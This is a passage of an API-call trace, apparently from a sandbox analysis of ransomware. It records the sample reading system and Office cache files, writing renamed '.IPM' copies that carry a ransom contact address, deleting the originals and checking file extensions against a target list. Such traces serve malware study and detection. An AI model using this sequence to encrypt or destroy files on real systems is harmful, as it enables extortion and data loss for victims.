dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0069.414] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0069.414] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0069.414] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\boot\\bootstat.dat.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0069.415] GetLastError () returned 0x0 [0069.415] ReadFile (in: hFile=0x190, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x10000, lpOverlapped=0x0) returned 1 [0069.551] WriteFile (in: hFile=0x194, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0x10010, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0x10010, lpOverlapped=0x0) returned 1 [0069.556] ReadFile (in: hFile=0x190, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x0, lpOverlapped=0x0) returned 1 [0069.556] WriteFile (in: hFile=0x194, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0069.556] SetEndOfFile (hFile=0x194) returned 1 [0069.780] CloseHandle (hObject=0x194) returned 1 [0069.782] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0069.782] SetEndOfFile (hFile=0x190) returned 1 [0069.783] CloseHandle (hObject=0x190) returned 1 [0069.783] SetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x26) returned 1 [0069.783] DeleteFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 1 [0069.784] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0069.784] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0069.784] lstrlenW (lpString=".doc") returned 4 [0069.784] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0069.784] lstrlenW (lpString=".docx") returned 5 [0069.784] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1 [0069.784] lstrlenW (lpString=".pdf") returned 4 [0069.784] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0069.784] lstrlenW (lpString=".xls") returned 4 [0069.784] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0069.784] lstrlenW (lpString=".xlsx") returned 5 [0069.784] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1 [0069.784] lstrlenW (lpString=".ppt") returned 4 [0069.784] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0069.784] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0069.784] lstrlenW (lpString=".zip") returned 4 [0069.784] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0069.784] lstrlenW (lpString=".rar") returned 4 [0069.784] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0069.784] lstrlenW (lpString=".bz2") returned 4 [0069.784] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0069.784] lstrlenW (lpString=".7z") returned 3 [0069.784] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0069.784] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0069.784] lstrlenW (lpString=".dbf") returned 4 [0069.785] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0069.785] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0069.785] lstrlenW (lpString=".1cd") returned 4 [0069.785] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0069.785] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0069.785] lstrlenW (lpString=".jpg") returned 4 [0069.785] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0069.785] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0069.785] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0069.785] lstrlenW (lpString=".doc") returned 4 [0069.785] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0069.785] lstrlenW (lpString=".docx") returned 5 [0069.785] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1 [0069.785] lstrlenW (lpString=".pdf") returned 4 [0069.785] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0069.785] lstrlenW (lpString=".xls") returned 4 [0069.785] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0069.785] lstrlenW (lpString=".xlsx") returned 5 [0069.785] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1 [0069.785] lstrlenW (lpString=".ppt") returned 4 [0069.785] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0069.785] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0069.785] lstrlenW (lpString=".zip") returned 4 [0069.785] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0069.785] lstrlenW (lpString=".rar") returned 4 [0069.785] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0069.785] lstrlenW (lpString=".bz2") returned 4 [0069.785] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0069.785] lstrlenW (lpString=".7z") returned 3 [0069.785] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0069.786] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0069.786] lstrlenW (lpString=".dbf") returned 4 [0069.786] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0069.786] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0069.786] lstrlenW (lpString=".1cd") returned 4 [0069.786] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0069.786] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0069.786] lstrlenW (lpString=".jpg") returned 4 [0069.786] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0069.786] lstrcmpiW (lpString1=".BAK", lpString2=".IPM") returned -1 [0069.786] lstrlenW (lpString="BOOTSECT.BAK") returned 12 [0069.786] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0069.858] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2b2ff1c | out: lpFileSize=0x2b2ff1c*=8192) returned 1 [0069.858] CloseHandle (hObject=0x1b8) returned 1 [0069.858] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 0x27 [0069.858] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\bootsect.bak.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0069.858] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK", dwFileAttributes=0x26) returned 1 [0069.859] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0069.859] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0069.859] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0069.859] CreateFileW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\bootsect.bak.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0070.059] GetLastError () returned 0x0 [0070.059] ReadFile (in: hFile=0x1b8, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x2000, lpOverlapped=0x0) returned 1 [0070.176] WriteFile (in: hFile=0x18c, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0x2010, lpOverlapped=0x0) returned 1 [0070.178] ReadFile (in: hFile=0x1b8, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x0, lpOverlapped=0x0) returned 1 [0070.178] WriteFile (in: hFile=0x18c, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0070.178] SetEndOfFile (hFile=0x18c) returned 1 [0070.178] CloseHandle (hObject=0x18c) returned 1 [0070.180] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.180] SetEndOfFile (hFile=0x1b8) returned 1 [0070.181] CloseHandle (hObject=0x1b8) returned 1 [0070.181] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x27) returned 1 [0070.182] DeleteFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 1 [0070.182] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0070.182] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0070.182] lstrlenW (lpString=".doc") returned 4 [0070.182] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1 [0070.182] lstrlenW (lpString=".docx") returned 5 [0070.182] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1 [0070.182] lstrlenW (lpString=".pdf") returned 4 [0070.182] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1 [0070.182] lstrlenW (lpString=".xls") returned 4 [0070.182] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1 [0070.182] lstrlenW (lpString=".xlsx") returned 5 [0070.182] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1 [0070.183] lstrlenW (lpString=".ppt") returned 4 [0070.183] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1 [0070.183] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0070.183] lstrlenW (lpString=".zip") returned 4 [0070.183] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1 [0070.183] lstrlenW (lpString=".rar") returned 4 [0070.183] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1 [0070.183] lstrlenW (lpString=".bz2") returned 4 [0070.183] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1 [0070.183] lstrlenW (lpString=".7z") returned 3 [0070.183] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1 [0070.183] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0070.183] lstrlenW (lpString=".dbf") returned 4 [0070.183] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1 [0070.183] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0070.183] lstrlenW (lpString=".1cd") returned 4 [0070.183] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1 [0070.183] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0070.183] lstrlenW (lpString=".jpg") returned 4 [0070.183] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1 [0070.183] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0070.184] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0070.184] lstrlenW (lpString=".doc") returned 4 [0070.184] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1 [0070.184] lstrlenW (lpString=".docx") returned 5 [0070.184] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1 [0070.184] lstrlenW (lpString=".pdf") returned 4 [0070.184] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1 [0070.184] lstrlenW (lpString=".xls") returned 4 [0070.184] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1 [0070.184] lstrlenW (lpString=".xlsx") returned 5 [0070.184] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1 [0070.184] lstrlenW (lpString=".ppt") returned 4 [0070.184] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1 [0070.184] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0070.184] lstrlenW (lpString=".zip") returned 4 [0070.184] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1 [0070.184] lstrlenW (lpString=".rar") returned 4 [0070.184] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1 [0070.184] lstrlenW (lpString=".bz2") returned 4 [0070.184] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1 [0070.184] lstrlenW (lpString=".7z") returned 3 [0070.184] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1 [0070.185] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0070.185] lstrlenW (lpString=".dbf") returned 4 [0070.185] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1 [0070.185] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0070.185] lstrlenW (lpString=".1cd") returned 4 [0070.185] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1 [0070.185] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0070.185] lstrlenW (lpString=".jpg") returned 4 [0070.185] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1 [0070.185] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0070.185] lstrlenW (lpString="Setup.xml") returned 9 [0070.185] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0070.185] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2b2ff1c | out: lpFileSize=0x2b2ff1c*=1886) returned 1 [0070.186] CloseHandle (hObject=0x1b8) returned 1 [0070.186] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0070.186] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0070.186] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0070.186] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.186] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.186] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0070.187] GetLastError () returned 0x0 [0070.187] ReadFile (in: hFile=0x1b8, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x75e, lpOverlapped=0x0) returned 1 [0070.378] WriteFile (in: hFile=0x18c, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0x760, lpOverlapped=0x0) returned 1 [0070.380] ReadFile (in: hFile=0x1b8, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x0, lpOverlapped=0x0) returned 1 [0070.380] WriteFile (in: hFile=0x18c, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0070.380] SetEndOfFile (hFile=0x18c) returned 1 [0070.380] CloseHandle (hObject=0x18c) returned 1 [0070.382] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.382] SetEndOfFile (hFile=0x1b8) returned 1 [0070.393] CloseHandle (hObject=0x1b8) returned 1 [0070.393] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0070.393] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0070.394] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0070.394] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0070.394] lstrlenW (lpString=".doc") returned 4 [0070.394] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0070.394] lstrlenW (lpString=".docx") returned 5 [0070.394] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0070.394] lstrlenW (lpString=".pdf") returned 4 [0070.394] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0070.394] lstrlenW (lpString=".xls") returned 4 [0070.394] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0070.394] lstrlenW (lpString=".xlsx") returned 5 [0070.394] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0070.394] lstrlenW (lpString=".ppt") returned 4 [0070.395] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0070.395] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0070.395] lstrlenW (lpString=".zip") returned 4 [0070.395] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0070.395] lstrlenW (lpString=".rar") returned 4 [0070.395] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0070.395] lstrlenW (lpString=".bz2") returned 4 [0070.395] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0070.395] lstrlenW (lpString=".7z") returned 3 [0070.395] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0070.395] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0070.395] lstrlenW (lpString=".dbf") returned 4 [0070.395] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0070.395] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0070.395] lstrlenW (lpString=".1cd") returned 4 [0070.395] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0070.396] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0070.396] lstrlenW (lpString=".jpg") returned 4 [0070.396] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0070.396] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0070.396] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0070.396] lstrlenW (lpString=".doc") returned 4 [0070.396] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0070.396] lstrlenW (lpString=".docx") returned 5 [0070.396] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0070.396] lstrlenW (lpString=".pdf") returned 4 [0070.396] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0070.396] lstrlenW (lpString=".xls") returned 4 [0070.396] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0070.396] lstrlenW (lpString=".xlsx") returned 5 [0070.396] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0070.397] lstrlenW (lpString=".ppt") returned 4 [0070.397] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0070.397] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0070.397] lstrlenW (lpString=".zip") returned 4 [0070.397] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0070.397] lstrlenW (lpString=".rar") returned 4 [0070.397] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0070.397] lstrlenW (lpString=".bz2") returned 4 [0070.397] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0070.397] lstrlenW (lpString=".7z") returned 3 [0070.397] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0070.397] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0070.397] lstrlenW (lpString=".dbf") returned 4 [0070.397] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0070.397] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0070.397] lstrlenW (lpString=".1cd") returned 4 [0070.397] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0070.397] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0070.398] lstrlenW (lpString=".jpg") returned 4 [0070.398] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0070.398] Sleep (dwMilliseconds=0x64) [0070.855] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0070.855] lstrlenW (lpString="Setup.xml") returned 9 [0070.855] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0070.856] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2b2ff1c | out: lpFileSize=0x2b2ff1c*=2424) returned 1 [0070.856] CloseHandle (hObject=0x1d8) returned 1 [0070.856] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0070.856] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0070.856] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0070.857] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.857] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.857] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0071.519] GetLastError () returned 0x0 [0071.519] ReadFile (in: hFile=0x1d8, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x978, lpOverlapped=0x0) returned 1 [0071.549] WriteFile (in: hFile=0x1bc, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0x980, lpOverlapped=0x0) returned 1 [0071.551] ReadFile (in: hFile=0x1d8, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x0, lpOverlapped=0x0) returned 1 [0071.551] WriteFile (in: hFile=0x1bc, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0xe6, lpOverlapped=0x0) returned 1 